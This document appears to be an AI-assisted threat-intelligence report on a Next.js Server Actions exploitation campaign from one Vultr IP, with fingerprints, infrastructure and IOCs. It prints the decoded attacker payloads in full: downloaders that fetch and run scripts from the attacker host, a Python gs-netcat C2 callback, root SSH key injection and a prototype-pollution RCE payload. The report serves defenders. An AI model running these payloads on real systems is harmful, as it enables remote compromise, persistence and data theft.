

None

---

title: "Campaign Analysis: Next.js Server Actions Exploitation & gs-netcat C2 Deployment from 45.77.188.57"

author: "🌐Orbie🌟"

created\_at: "2026-02-28T09:29:51-05:00"

document\_type: campaign\_analysis

analysis\_depth: comprehensive

tags:

- nextjs-server-actions
- rce
- gs-netcat
- gsocket
- ssh-key-injection
- base64-obfuscation
- vultr-as20473
- assetnote
- web-exploitation

tlp: amber

visibility: internal

summary: >

Single-IP campaign from 45.77.188.57 (AS20473/Vultr) exploiting Next.js Server

Actions via HTTP POST with base64 double-encoded payloads. 143 sessions across

78 days (Dec 2025–Feb 2026) targeting React Server Components honeypots on ports

443, 3000, and 80. Four payload variants deliver finder.sh reconnaissance, deploy-all.sh with gs-netcat (Global Socket) C2 callbacks, and SSH

authorized\_key

injection. Assetnote/1.0.0 scanner tooling identified as primary user agent.

---

# Campaign Analysis: Next.js Server Actions Exploitation & gs-netcat C2 Deployment from 45.77.188.57

**Author:** 🌐Orbie🌟

**Reviewer:** TBD

**Date:** 2026-02-28

**TLP:** AMBER

**Workflow:** Campaign Identification — Comprehensive analysis (100% statistical coverage)

✓ VALIDATION PERFORMED 2026-02-28 — 5 corrections applied (0 high-severity). See VALIDATION\_REPORT.md.

✓ HUMAN ANALYST HAS REVIEWED THE FINDINGS

**AI-Assisted Analysis:** This report was produced by Orbie, an AI-powered threat intelligence assistant. Analytical narratives, correlation assessments, and speculative conclusions are LLM-generated based on real data queried from GreyNoise, Censys, VirusTotal, and other sources. Outputs undergo automated validation and review by at least one human analyst before distribution. Despite these safeguards, generative and speculative elements may contain errors or inaccuracies.

## Executive Summary

**GreyNoise sensors observed a sustained exploitation campaign from a single Vultr VPS (45.77.188.57, AS20473) targeting Next.js applications via Server Actions HTTP POST requests containing double base64-encoded shell payloads. The campaign deploys gs-netcat (Global Socket) reverse shells, injects SSH authorized keys, and profiles compromised hosts for C2 enrollment — consistent with an opportunistic botnet builder leveraging the Assetnote scanning framework.**

Between 2025-12-12 and 2026-02-27, the actor conducted 143 exploitation sessions<sup>1</sup> targeting React Server Components honeypots across 19 countries<sup>2</sup>. The campaign uses a distinctive double base64 encoding scheme: the HTTP POST body contains outer base64 wrapping `echo '<inner_base64>' | base64 -d | bash`, which decodes to one of four payload variants delivering reconnaissance scripts, C2 implants, and SSH persistence.

### Key Findings:

- 143 HTTP POST sessions<sup>3</sup> from single IP 45.77.188.57 (AS20473/Vultr, US)<sup>4</sup> over 78 days

---

<sup>1</sup>Arkime investigation\_scope: source\_ip=45.77.188.57, http\_method=POST, query=NOT gnTagMetadata.id:"06c9f729-ce7e-4c6a-9956-0c2459d029c6", start=2025-12-11, end=2026-02-28. Total: 143 sessions. See OPERATIONS\_LOG.md Operation 1.

<sup>2</sup>DuckDB query: SELECT destinationCountry, COUNT(DISTINCT id) FROM session\_cache GROUP BY destinationCountry. 19 distinct countries. See OPERATIONS\_LOG.md Operation 7.

<sup>3</sup>Arkime investigation\_scope: source\_ip=45.77.188.57, http\_method=POST, query=NOT gnTagMetadata.id:"06c9f729-ce7e-4c6a-9956-0c2459d029c6", start=2025-12-11, end=2026-02-28. Total: 143 sessions. See OPERATIONS\_LOG.md Operation 1.

<sup>4</sup>Arkime session metadata: sourceAsn=AS20473, sourceOrg=The Constant Company, LLC, sourceCountry=US. All 143 sessions from same IP/ASN. See OPERATIONS\_LOG.md Operation 1.

- 4 distinct payload variants<sup>5</sup> with double base64 encoding, plus 1 Next.js prototype pollution PoC
- **gs-netcat C2**: deploy-all.sh delivers Global Socket reverse shell with host profiling callback (hostname, CPU cores, RAM, load average)<sup>6</sup>
- **SSH key injection**: `backup@localhost` RSA key planted in `/root/.ssh/authorized_keys` with `chattr` attribute stripping<sup>7</sup>
- **Assetnote/1.0.0** scanner user agent on 130/143 sessions<sup>8</sup> with static `next-action: x` header<sup>9</sup>
- Binary evasion: `curl` renamed to `qq`, `wget` renamed to `ww` in `/dev/shm/`<sup>10</sup>
- Staging directory: `/dev/shm/` (tmpfs, memory-only filesystem)<sup>11</sup>
- VT: 2/93 malicious detections<sup>12</sup>; communicating ELF binary tagged `Dosia/GlassWorm/Poet-RAT/QNAPCrypt`<sup>13</sup>

**Risk Assessment:** HIGH — Active RCE exploitation with multi-stage C2 deployment, SSH persistence, and host profiling for botnet enrollment. The actor is operationally mature: double encoding evades basic WAF inspection, binary renaming defeats simple filename-based detection, and `/dev/shm/` staging avoids disk forensics.

---

<sup>5</sup>DuckDB query: `SELECT COUNT(DISTINCT httpRequestBody[1]) FROM session_cache WHERE httpMethod[1]='POST'`. 28 unique bodies grouped into 4 functional variants + 1 PoC. See OPERATIONS\_LOG.md Operation 9.

<sup>6</sup>Decoded Variant B payload analysis. Python one-liner POSTs {hostname, gs\_key, cores, load, ram} to <http://45.77.188.57/gs/>. See decoded-payloads.md Variant B.

<sup>7</sup>Decoded Variant D payload analysis. SSH key injection with `chattr -isuSadAcjtT`. See decoded-payloads.md Variant D.

<sup>8</sup>Arkime session\_stats group\_by=user\_agent. Assetnote/1.0.0: 130 sessions. See OPERATIONS\_LOG.md Operation 3.

<sup>9</sup>DuckDB query: header field/value analysis. `next-action: x` present on all 143 sessions. See OPERATIONS\_LOG.md Operation 8.

<sup>10</sup>Decoded Variant A payload. Binary copy commands: `sudo \cp /usr/bin/curl /usr/bin/qq, sudo \cp /usr/bin/wget /usr/bin/ww`. Staging: `cd /dev/shm/`. See decoded-payloads.md Variant A.

<sup>11</sup>Decoded Variant A payload. Binary copy commands: `sudo \cp /usr/bin/curl /usr/bin/qq, sudo \cp /usr/bin/wget /usr/bin/ww`. Staging: `cd /dev/shm/`. See decoded-payloads.md Variant A.

<sup>12</sup>VirusTotal IP report for 45.77.188.57. 2/93 malicious (2.2%), 0 suspicious, 58 clean, 33 undetected. See OPERATIONS\_LOG.md Operation 12.

<sup>13</sup>VirusTotal communicating\_files relationship: ELF binary `/home/petik/ss/malware/2026-01-26_87615b25e70b0059cfff3852428a9aa6_dosia_glass_worm_poet-rat_qnapcrypt`, first seen 2026-01-10. See OPERATIONS\_LOG.md Operation 12.

# Technical Analysis

## Attack Vector: Next.js Server Actions

The actor targets Next.js Server Actions endpoints via HTTP POST requests. Every session includes the `next-action: x` header<sup>14</sup>, which triggers Next.js server-side action processing. The attack exploits the Server Actions request handling pipeline to achieve Remote Code Execution.

**130 of 143 sessions** use the Assetnote scanning framework (identified by the `Assetnote/1.0.0` user agent suffix)<sup>15</sup>. The remaining 13 sessions use browser-spoofed user agents (Safari 17.2, Edge 120, Chrome 120, Firefox 121)<sup>16</sup> — these correspond to the initial December 12 burst that targeted only the root path `/`.

## HTTP Header Fingerprint

The actor's HTTP request profile is highly distinctive:

| Header                                 | Value                               | Sessions  |
|----------------------------------------|-------------------------------------|-----------|
| <code>next-action</code>               | <code>x</code>                      | 143 (ALL) |
| <code>x-nextjs-html-request-id</code>  | <code>sstmxm7oj_g0ncx6jpqt9</code>  | 130       |
| <code>x-nextjs-request-id</code>       | <code>b5dce965</code>               | 130       |
| <code>content-type</code>              | (varies)                            | 29        |
| <code>cache-control</code>             | <code>no-cache</code>               | 13        |
| <code>dnt</code>                       | <code>1</code>                      | 7         |
| <code>upgrade-insecure-requests</code> | <code>1</code>                      | 6         |
| <code>sec-fetch-dest/mode/site</code>  | <code>document/navigate/none</code> | 5         |

<sup>14</sup>DuckDB query: header field/value analysis. `next-action: x` present on all 143 sessions. See OPERATIONS\_LOG.md Operation 8.

<sup>15</sup>Arkime session\_stats group\_by=user\_agent. Assetnote/1.0.0: 130 sessions. See OPERATIONS\_LOG.md Operation 3.

<sup>16</sup>Arkime session\_stats group\_by=user\_agent. Assetnote/1.0.0: 130 sessions. See OPERATIONS\_LOG.md Operation 3.

The **static** `x-nextjs-html-request-id` and `x-nextjs-request-id` values across 130 sessions are a strong campaign signature — legitimate Next.js clients generate unique request IDs per session. These hardcoded values indicate the exploit tool has a fixed request template.

## JA4H HTTP Fingerprint Analysis

**Dominant fingerprint** (106/143 sessions):

`po11nn090000_06506efccaab_000000000000_000000000000`<sup>17</sup>

- **Method:** POST
- **Version:** HTTP/1.1
- **Cookies:** None
- **Referer:** None
- **Header count:** 9
- **Language:** None (0000)
- **Cookie/value hashes:** All zeros (no cookies)

This fingerprint is consistent with an automated scanner — no cookies, no language preference, minimal headers. The `06506efccaab` header hash uniquely identifies this tool's sorted header set.

The remaining 37 sessions lack the dominant fingerprint: 13 sessions show 9 distinct JA4H variants with browser-like characteristics (language codes `enus`, `jajp`, `zhcn`, `engb`, header counts 10-15)<sup>18</sup>, while 24 sessions have no JA4H fingerprint recorded. The browser-spoofed subset uses additional headers like `sec-fetch-*` and `accept-language`.

## JA4T TCP Fingerprint Analysis

Two distinct TCP fingerprints indicate the actor operates from two network contexts:

| JA4T                                 | Sessions | Window | MSS   | Scale | Analysis                                                                                    |
|--------------------------------------|----------|--------|-------|-------|---------------------------------------------------------------------------------------------|
| <code>65495_2-4-8-1-3_65495_7</code> | 88       | 65495  | 65495 | 7     | Jumbo frames/loopback — MSS 65495 indicates containerized or tunneled traffic <sup>19</sup> |

<sup>17</sup>Arkime session\_stats group\_by=ja4h. Dominant: `po11nn090000_06506efccaab_000000000000_000000000000` (106 sessions). JA4 analysis MCP decode. See OPERATIONS\_LOG.md Operations 5, 10.

<sup>18</sup>Arkime session\_stats group\_by=ja4h. Dominant: `po11nn090000_06506efccaab_000000000000_000000000000` (106 sessions). JA4 analysis MCP decode. See OPERATIONS\_LOG.md Operations 5, 10.

<sup>19</sup>Arkime session\_stats group\_by=ja4t. Two fingerprints: `65495_2-4-8-1-3_65495_7` (88), `42340_2-4-8-1-3_1460_10` (53), `42340_2-4-8-1-3_1360_10` (2). JA4T analysis MCP decode. See OPERATIONS\_LOG.md Operations 6, 11.

| JA4T                    | Sessions | Window | MSS  | Scale | Analysis                                           |
|-------------------------|----------|--------|------|-------|----------------------------------------------------|
| 42340_2-4-8-1-3_1460_10 | 53       | 42340  | 1460 | 10    | Standard Ethernet — normal VPS path <sup>20</sup>  |
| 42340_2-4-8-1-3_1360_10 | 2        | 42340  | 1360 | 10    | VPN/tunnel overhead (100-byte delta) <sup>21</sup> |

Both share Linux TCP option ordering (MSS-SACK-Timestamp-NOP-WindowScale), confirming a Linux-based attack platform. The jumbo MSS (65495) is notable — it suggests the scanning tool may run inside a container with loopback networking, or behind a proxy that doesn't properly adjust MSS.

## Payload Analysis

All payloads use a double base64 encoding scheme. The HTTP POST body is base64-encoded. Decoding reveals a bash command: `echo '<inner_base64>' | base64 -d | bash`. The inner base64 contains the actual malicious payload. This double encoding defeats single-pass base64 inspection by WAFs and IDSes.

Variant A: finder.sh Downloader (54 sessions)

```
Shell
cd /dev/shm/
sudo \cp /usr/bin/curl /usr/bin/qq x| true
sudo \cp /usr/bin/wget /usr/bin/ww || true
(qq -sL http://45.77.188.57/ffff/finder.sh -o finder.sh
|| ww -q http://45.77.188.57/ffff/finder.sh -O finder.sh
|| python3 -c "import urllib.request; urllib.request.urlretrieve(
'http://45.77.188.57/ffff/finder.sh', 'finder.sh')")
|| php -r "copy('http://45.77.188.57/ffff/finder.sh', 'finder.sh')")
|| curl -sL http://45.77.188.57/ffff/finder.sh -o finder.sh
|| wget -q http://45.77.188.57/ffff/finder.sh -O finder.sh)
nohup bash -c "sudo bash finder.sh || bash finder.sh" > /dev/null 2>&1 &
```

## Tactics:

<sup>20</sup>Arkime session\_stats group\_by=ja4t. Two fingerprints: 65495\_2-4-8-1-3\_65495\_7 (88), 42340\_2-4-8-1-3\_1460\_10 (53), 42340\_2-4-8-1-3\_1360\_10 (2). JA4T analysis MCP decode. See OPERATIONS\_LOG.md Operations 6, 11.

<sup>21</sup>Arkime session\_stats group\_by=ja4t. Two fingerprints: 65495\_2-4-8-1-3\_65495\_7 (88), 42340\_2-4-8-1-3\_1460\_10 (53), 42340\_2-4-8-1-3\_1360\_10 (2). JA4T analysis MCP decode. See OPERATIONS\_LOG.md Operations 6, 11.

- Stages in `/dev/shm/` (tmpfs — avoids disk writes)
- Renames `curl` → `qq`, `wget` → `ww` (evades filename-based detection)
- **Six fallback download methods**: renamed curl, renamed wget, python3 urllib, PHP copy(), original curl, original wget
- Runs with `nohup` in background, detached from terminal
- Attempts `sudo` first, falls back to unprivileged execution

Variant B: Python deploy-all.sh + gs-netcat C2 (26 sessions)

```
Python
python3 -c '
import urllib.request as r, urllib.parse as p, subprocess as s, os, socket,
gzip
u = "http://45.77.188.57/gs/deploy-all.sh"
t = "http://45.77.188.57/gs/"
f = "/dev/shm/.ts"

# Check sudo access
s.run(["sudo", "-v"])

# Phone home with status
r.urlopen(r.Request(t, data=p.urlencode({"status":"OK"}).encode(),
method="POST"))

# Download and decompress payload
d = r.urlopen(u).read()
b = gzip.decompress(d) if d.startswith(b"\x1f\x8b") else d
open(f, "wb").write(b)
os.chmod(f, 0o755)

# Execute and monitor for gs-netcat keys
proc = s.Popen(["sudo", f], stdout=s.PIPE, stderr=s.STDOUT, text=True,
bufsize=1)
[(r.urlopen(r.Request(t,
    data=p.urlencode({
        "hostname": socket.gethostname(),
        "gs_key": l.strip().replace("-i", "-i -T"),
        "cores": os.cpu_count(),
        "load": os.getloadavg()[0],
        "ram":
str(round(int(open("/proc/meminfo").readline().split()[1])/1048576, 2))+ " GB"
    }).encode(), method="POST")),
    print(l.strip()))
for l in iter(proc.stdout.readline, "")
if "gs-netcat -s" in l]
```

```
os.remove(f)
```

#### Tactics:

- Downloads `deploy-all.sh` from `/gs/` path (potentially gzip-compressed)
- Writes to hidden file `/dev/shm/.ts`
- Executes with `sudo`, monitors stdout for `gs-netcat -s` lines
- **C2 callback POSTs host profile** to `http://45.77.188.57/gs/`: hostname, `gs_key` (connection secret), CPU cores, system load, RAM (GB)
- The `gs_key` replacement (`-i` → `-i -T`) adds the `-T` (TOR) flag to `gs-netcat` connections
- Self-cleans: removes `/dev/shm/.ts` after execution

**gs-netcat** (Global Socket) is a legitimate pen-testing tool that creates encrypted TCP connections through NAT/firewalls without port forwarding. It's increasingly abused for C2 due to its encrypted, firewalled-traversing architecture.

Variant C: finder.sh Downloader — Compact (10 sessions)

Same functionality as Variant A with minor syntax differences (no `nohup`, uses `&&` chaining instead of subshell).

Variant D: SSH Key Injection + deploy-all.sh (6 sessions)

```
Shell
mkdir /root/.ssh
chattr -isuSadAcjtT /root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQD...+W7/ backup@localhost" \
    >> /root/.ssh/authorized_keys
python3 -c '<Variant B payload>'
```

#### Tactics:

- Creates `/root/.ssh` directory
- **Strips ALL file attributes** from `authorized_keys` via `chattr -isuSadAcjtT` (removes immutable, secure deletion, undeletable, synchronous, append-only, compressed, journal, tail-merge, and top-of-directory-hierarchy flags)
- Appends RSA public key with comment `backup@localhost`



- Then executes the same gs-netcat deployment as Variant B

The `chattr` flag stripping is significant — it defeats a common server-hardening technique where administrators set the immutable flag on `authorized_keys` to prevent unauthorized SSH key injection.

#### Variant E: Next.js Prototype Pollution PoC (1 session)

A single session used a multipart form-data payload exploiting Next.js Server Actions prototype pollution:

```
JSON
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{$\"then\":\\\"$B1337\\\"}",
  "_response": {
    "_prefix": "var
r=process.mainModule.require('child_process').spawnSync('sh', ['-c', 'pwd'], ...);
throw Object.assign(new
Error('NEXT_REDIRECT'), {digest:`NEXT_REDIRECT;push;/login?a=${res.trim()};307;`
});",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}
```

This exploits the `__proto__:then` prototype pollution chain to achieve RCE via `child_process.spawnSync`. Command output is exfiltrated through the `NEXT_REDIRECT` digest URL parameter. This appears to be a proof-of-concept test — only 1 session used this variant, targeting a FlowiseAI persona.

#### Target Profile

The campaign targets **React Server Components** honeypots (130/143 sessions)<sup>22</sup>, plus secondary targets:

| Persona                              | Sessions | Ports         |
|--------------------------------------|----------|---------------|
| React Server Components - VULNERABLE | 69       | 443, 3000, 80 |

<sup>22</sup>Arkime session\_stats group\_by=persona. React Server Components (VULNERABLE + FLEET): 130 sessions. See OPERATIONS\_LOG.md Operation 4.

| Persona                                         | Sessions | Ports         |
|-------------------------------------------------|----------|---------------|
| React Server Components -<br>VULNERABLE - FLEET | 61       | 443, 3000, 80 |
| Greynoise Facade (per_sensor)                   | 9        | 3000          |
| FlowiseAI Flowise -<br>VULNERABLE               | 3        | 3000          |
| Greynoise Facade (per_gateway)                  | 1        | 3000          |

**Port distribution:** 443 (88), 3000 (43), 80 (12)<sup>23</sup>. The port 3000 targeting is consistent with development/staging Next.js instances (default `next dev` port).

**Geographic targeting:** 19 destination countries<sup>24</sup> — US (70), India (22), Panama (6), Canada (6), Romania (4), Poland (4), Hong Kong (4), Netherlands (4), UK (4), Pakistan (3), Brazil (3), and 8 more with 1-2 sessions each.

## URL Path Analysis

The campaign uses two distinct path strategies:

1. **Root path /** (13 sessions) — Used exclusively on December 12 (first day of activity). Browser-spoofed user agents. This appears to be an initial reconnaissance phase.
2. **Random 8-character lowercase alpha paths** (130 sessions) — e.g., `/splwfvjv`, `/zebuuzhb`, `/bfhruc1q`. Each path is unique or used 2-4 times. This is consistent with Next.js Server Actions, where the path is the action identifier — random paths test whether the server accepts arbitrary action endpoints.

## Temporal Analysis

The campaign operates in three distinct phases:

**Phase 1 — Reconnaissance** (Dec 12, 2025): 13 sessions, all to `/`, all port 443, browser-spoofed UAs. Initial probing.

<sup>23</sup>Arkime investigation\_scope top\_ports. 443 (88), 3000 (43), 80 (12). See OPERATIONS\_LOG.md Operation 1.

<sup>24</sup>DuckDB query: `SELECT destinationCountry, COUNT(DISTINCT id) FROM session_cache GROUP BY destinationCountry`. 19 distinct countries. See OPERATIONS\_LOG.md Operation 7.

**Phase 2 — Active Exploitation** (Jan 13 – Jan 31, 2026): 103 sessions across 14 active days. Peak activity on Jan 17 (23 sessions). Assetnote scanner deployed. All four payload variants active. This is the main exploitation window.

**Phase 3 — Low-tempo Maintenance** (Feb 5 – Feb 27, 2026): 27 sessions across 8 active days. Reduced cadence suggests the actor is maintaining access to previously compromised hosts or selectively re-scanning.

Weekly activity breakdown:

| Week                  | Sessions |
|-----------------------|----------|
| Dec 8–14, 2025        | 13       |
| Dec 15 – Jan 11, 2026 | 0 (gap)  |
| Jan 12–18             | 55       |
| Jan 19–25             | 20       |
| Jan 26 – Feb 1        | 28       |
| Feb 2–8               | 3        |
| Feb 9–15              | 4        |
| Feb 16–22             | 0 (gap)  |
| Feb 23 – Mar 1        | 20       |

The 4-week gap between Phase 1 and Phase 2 suggests the actor refined their tooling (switching from browser-spoofed probing to Assetnote-based exploitation).

## Infrastructure Assessment

### Source Infrastructure (Censys)

- **IP:** 45.77.188.57
- **ASN:** AS20473 (AS-VULTR / The Constant Company, LLC)
- **BGP Prefix:** 45.77.184.0/21
- **Location:** Santa Clara, California, United States
- **OS:** Linux (Ubuntu 22.04 LTS based on OpenSSH 8.9p1 packaging)
- **Hosting:** Vultr VPS — commodity cloud hosting

### Open Services:

| Port | Protocol | Software                        | Version         | Role                            |
|------|----------|---------------------------------|-----------------|---------------------------------|
| 22   | TCP/SSH  | OpenSSH                         | 8.9p1           | Operator access                 |
| 80   | TCP/HTTP | Apache httpd                    | 2.4.52 (2022)   | Secondary HTTP/static files     |
| 3000 | TCP/HTTP | Python 3.10.12 + Werkzeug 3.1.5 | Custom WSGI app | <b>Primary payload delivery</b> |

The Werkzeug 3.1.5 application on port 3000 is the likely origin of the `/gs/` and `/ffff/` payload paths. Port 3000 also mirrors the Next.js default development port — the actor serves payloads on the same port they exploit. No TLS on any port; all payload delivery is plaintext HTTP.

#### SSH Fingerprints (pivot indicators):

- Host key SHA256:  
`c7a252b8a3a46b38a0048d274eb65ee83326d70e0d2a52d0d79691a039c524a9`<sup>25</sup>
- HASSH: `41ff3ecd1458b0bf86e1b4891636213e`<sup>26</sup>

**CVE Exposure:** 63 CVEs flagged by Censys<sup>27</sup>, including 6+ critical (CVSS >= 9.0): CVE-2023-38408 (OpenSSH ssh-agent RCE, 9.8), CVE-2022-22720/22721/23943 (Apache RCE, 9.1-9.8), CVE-2023-25690 (Apache smuggling, 9.8), CVE-2024-38473 (Apache mod\_proxy encoding, 8.1), CVE-2024-38476 (Apache mod\_rewrite RCE, 9.8), CVE-2024-6387 (regreSSHion, 8.1). The host is critically unpatched — consistent with a disposable VPS provisioned for short-term campaign use.

#### Payload Delivery Infrastructure

All payloads are self-hosted on the same IP:

| URL                                               | Purpose                                       |
|---------------------------------------------------|-----------------------------------------------|
| <code>http://45.77.188.57/ffff/finder.sh</code>   | Reconnaissance/finder script                  |
| <code>http://45.77.188.57/gs/deploy-all.sh</code> | gs-netcat C2 deployment (gzip-compressed)     |
| <code>http://45.77.188.57/gs/</code>              | C2 callback endpoint (receives host profiles) |

<sup>25</sup>Censys get\_host for 45.77.188.57. SSH host key SHA256 and HASSH extracted via censys-threat-hunting aggregate API. See OPERATIONS\_LOG.md Operation 13.

<sup>26</sup>Censys get\_host for 45.77.188.57. SSH host key SHA256 and HASSH extracted via censys-threat-hunting aggregate API. See OPERATIONS\_LOG.md Operation 13.

<sup>27</sup>Censys CVE aggregation for 45.77.188.57. 63 CVEs across Apache httpd 2.4.52 (29), OpenSSH 8.9p1 (8), Python 3.10.12 (26). See OPERATIONS\_LOG.md Operation 13.

| URL                                                                           | Purpose                                 |
|-------------------------------------------------------------------------------|-----------------------------------------|
| <a href="http://45.77.188.57/gs/vuln.php">http://45.77.188.57/gs/vuln.php</a> | Vulnerability scanner endpoint (per VT) |
| <a href="http://45.77.188.57:8000/report">http://45.77.188.57:8000/report</a> | Reporting endpoint (per VT)             |

The single-IP hosting of both scanner and C2 infrastructure indicates a relatively unsophisticated operational setup — no domain fronting, no CDN abuse, no separation of exploitation and C2 infrastructure.

## VirusTotal Intelligence

**IP 45.77.188.57:** 2/93 malicious detections<sup>28</sup>. Low detection rate despite active exploitation.

**Communicating files:** A 6.55 MB ELF (64-bit Linux) binary — **22/66 vendors detect as malicious (33.3%)**. Tagged with multiple malware families: Dosia (DDoS/wiper), GlassWorm (Linux worm), Poet-RAT (RAT), QNAPCrypt (ransomware). Written in Go. Kaspersky: [HEUR:Trojan.Linux.Agent.gen](#), Microsoft: [Trojan:Script/Wacatac.B!ml](#). Beacons to <http://45.77.188.57:8000/report>. SHA-256: [8a3df13bf66d481afb718ad791da85676f0c337f6e95ef75e486212425231a8e](#). First seen 2026-01-10. Sandbox analysis shows shell process spawning, interaction with rsyslog/logrotate, and Go HTTP client UA. Two additional dropped files not yet indexed in VT.<sup>29</sup>

### Associated domains<sup>30</sup>:

- [erikgeb.info](#) (resolved 2025-11-28)
- [uniqdigital.info](#) (resolved 2023-06-14)
- [admin.timochan.cn](#) (resolved 2021-04-03)

### Downloaded files from payload URLs:

- [finder.sh](#) — Shell script, first seen 2026-02-03<sup>31</sup>
- [deploy-all.sh](#) — Shell script, first seen 2024-03-05<sup>32</sup>

<sup>28</sup>VirusTotal IP report for 45.77.188.57. 2/93 malicious (2.2%), 0 suspicious, 58 clean, 33 undetected. See OPERATIONS\_LOG.md Operation 12.

<sup>29</sup>VirusTotal communicating\_files relationship: ELF binary [/home/petik/ss/malware/2026-01-26\\_87615b25e70b0059cfff3852428a9aa6\\_dosia\\_glass\\_worm\\_poet-rat\\_qnapcrypt](#), first seen 2026-01-10. See OPERATIONS\_LOG.md Operation 12.

<sup>30</sup>VirusTotal IP resolutions for 45.77.188.57. [erikgeb.info](#) (2025-11-28), [uniqdigital.info](#) (2023-06-14), [admin.timochan.cn](#) (2021-04-03). See OPERATIONS\_LOG.md Operation 12.

<sup>31</sup>VirusTotal URL downloaded\_files for <http://45.77.188.57/ffff/finder.sh>. Shell script, first seen 2026-02-03. See OPERATIONS\_LOG.md Operation 12.

<sup>32</sup>VirusTotal URL downloaded\_files for <http://45.77.188.57/gs/deploy-all.sh>. Shell script, first seen 2024-03-05. See OPERATIONS\_LOG.md Operation 12.

- Hash  
343ee71a6e8f56e921ac4d85337a9ec2d04485939147df58237db564b61def79  
from /gs/<sup>33</sup>

The `deploy-all.sh` first-seen date of March 2024 suggests this gs-netcat deployment tooling has been in use for nearly two years, predating this specific Next.js exploitation campaign.

## SSH Key Indicator

The injected SSH public key (Variant D):

```
None
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQDBhkWN00cJDH500HfeB2l4fNKPJsbMG0lRehIjmNcA
WFxg4XshXADF+NifcZqFm2/KA+JzNdVyvjJwrYN1qCVN9Xoe+zWrnaHLDuJNMaRsGPhlVBkWJ3cgfB9
3
KdoKm8Ym3dJwoG7rDVPc9P+8Qr1qlsvmwqUgysN9WKjgxrl1yDdzHtNNe1QZxkyBf4Wp78ixNG4lRck
T7
oMQInPSP60ET/FLIyX5xCG0uNi0xqpb6BCZduXqyBBVEIRFRaMPiUr0aebQdbhAZ/BES0v550mn0MmT
X
bC8esfRfVyXzYB0Z2UFeIdwaEm+/TjuP2IubHlmgPfN4WNZK9qWVFgN+W7/ backup@localhost
```

Comment: `backup@localhost` — deliberately innocuous to blend with legitimate backup SSH keys.

## Tooling Assessment

### Assetnote Scanner

The `Assetnote/1.0.0` user agent suffix identifies the [Assetnote](#) external attack surface management platform's scanning component, appended to a Chrome/60 base user agent string. Assetnote is a commercial product for continuous security monitoring — its use here suggests the actor either:

1. Has access to Assetnote tooling (legitimately or through stolen credentials)
2. Is using an open-source component or recreation of Assetnote's scanning framework
3. Is spoofing the user agent to appear as legitimate security scanning

---

<sup>33</sup>VirusTotal URL downloaded\_files for <http://45.77.188.57/gs/>. SHA256: 343ee71a6e8f56e921ac4d85337a9ec2d04485939147df58237db564b61def79. See OPERATIONS\_LOG.md Operation 12.

## Global Socket (gs-netcat)

[gsocket.io](https://github.com/0x09b4/gsocket.io) provides encrypted peer-to-peer connectivity through NAT and firewalls. The tool is used here as a C2 channel — the `deploy-all.sh` script establishes a gs-netcat listener, and the Python callback exfiltrates the connection key (`gs_key`) along with host profiling data. The `-T` flag (added via string replacement) routes connections through Tor for additional anonymity.

## Conclusions

This campaign represents a **moderately sophisticated actor** conducting opportunistic exploitation of Next.js Server Actions:

1. **Double base64 encoding** demonstrates awareness of WAF/IDS evasion techniques
2. **Binary renaming** (`curl`→`qq`, `wget`→`ww`) shows familiarity with endpoint detection evasion
3. **Six fallback download methods** ensure payload delivery across diverse Linux environments
4. **gs-netcat C2 with Tor routing** provides encrypted, NAT-traversing, anonymized persistence
5. **SSH key injection with chattr stripping** defeats file-immutability hardening
6. **Host profiling** (cores, RAM, load) suggests the actor selects high-value compromised hosts for specific purposes (likely cryptomining based on the profiling metrics and Dosia/QNAPCrypt associations)

However, the **single-IP infrastructure** (exploitation, payload hosting, and C2 on same IP) and the **static request IDs** in the Next.js headers indicate operational immaturity compared to advanced threat actors.

The multi-malware-family association (Dosia, GlassWorm, Poet-RAT, QNAPCrypt) on communicating files suggests this IP is part of a **multi-purpose criminal infrastructure** rather than a targeted operation.

---

**End of Report**

---

## Footnotes

---

```
None
---iocs
ips:
  - 45.77.188.57
cidrs:
  - 45.76.0.0/15
domains:
  - erikgeb.info
  - uniqdigital.info
  - admin.timochan.cn
oast_domains: []
asns:
  - AS20473
cves: []
tags:
  - "Web Crawler"
fingerprints:
  ja4h:
    - "po11nn090000_06506efccaab_000000000000_000000000000"
  ja4t:
    - "65495_2-4-8-1-3_65495_7"
    - "42340_2-4-8-1-3_1460_10"
    - "42340_2-4-8-1-3_1360_10"
  ja4: []
  hassh: []
hashes:
  md5:
    - "87615b25e70b0059cfff3852428a9aa6"
  sha1:
    - "ab72f1dd9cd9a7517a3f1d40cb9ec68cdb392db9"
  sha256:
    - "8a3df13bf66d481afb718ad791da85676f0c337f6e95ef75e486212425231a8e"
    - "343ee71a6e8f56e921ac4d85337a9ec2d04485939147df58237db564b61def79"
    - "44a3bab2c338e3bca24c00f7c3da1301eb4a5a889f1c667cc781e1bdacd3b9e7"
    - "ac941ead01d5451a7a9fd4be4ba9b60b2d3e4138670ae868e655b3b393253227"
urls:
  - "http://45.77.188.57/ffff/finder.sh"
  - "http://45.77.188.57/gs/deploy-all.sh"
  - "http://45.77.188.57/gs/"
  - "http://45.77.188.57/gs/vuln.php"
  - "http://45.77.188.57:8000/report"
user_agents:
  - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"
ports:
```



```
- 443
- 3000
- 80
- 8000
campaigns:
  - name: "Next.js Server Actions gs-netcat C2"
    actor: "Unknown"
    first_seen: "2025-12-12T05:17:01Z"
    last_seen: "2026-02-27T19:22:15Z"
    sessions: 143
    infrastructure: "Single Vultr VPS"
ssh_keys:
  - type: "ssh-rsa"
    comment: "backup@localhost"
    fingerprint_prefix: "AAAAB3NzaC1yc2EAAAADAQABAAQDBhkWN00cJDH50"
http_headers:
  - name: "next-action"
    value: "x"
  - name: "x-nextjs-html-request-id"
    value: "sstmxm7oj_g0ncx6jpqt9"
  - name: "x-nextjs-request-id"
    value: "b5dce965"
file_paths:
  - "/dev/shm/.ts"
  - "/dev/shm/finder.sh"
  - "/usr/bin/qq"
  - "/usr/bin/ww"
  - "/root/.ssh/authorized_keys"
tools:
  - "gs-netcat (Global Socket)"
  - "Assetnote/1.0.0"
---
```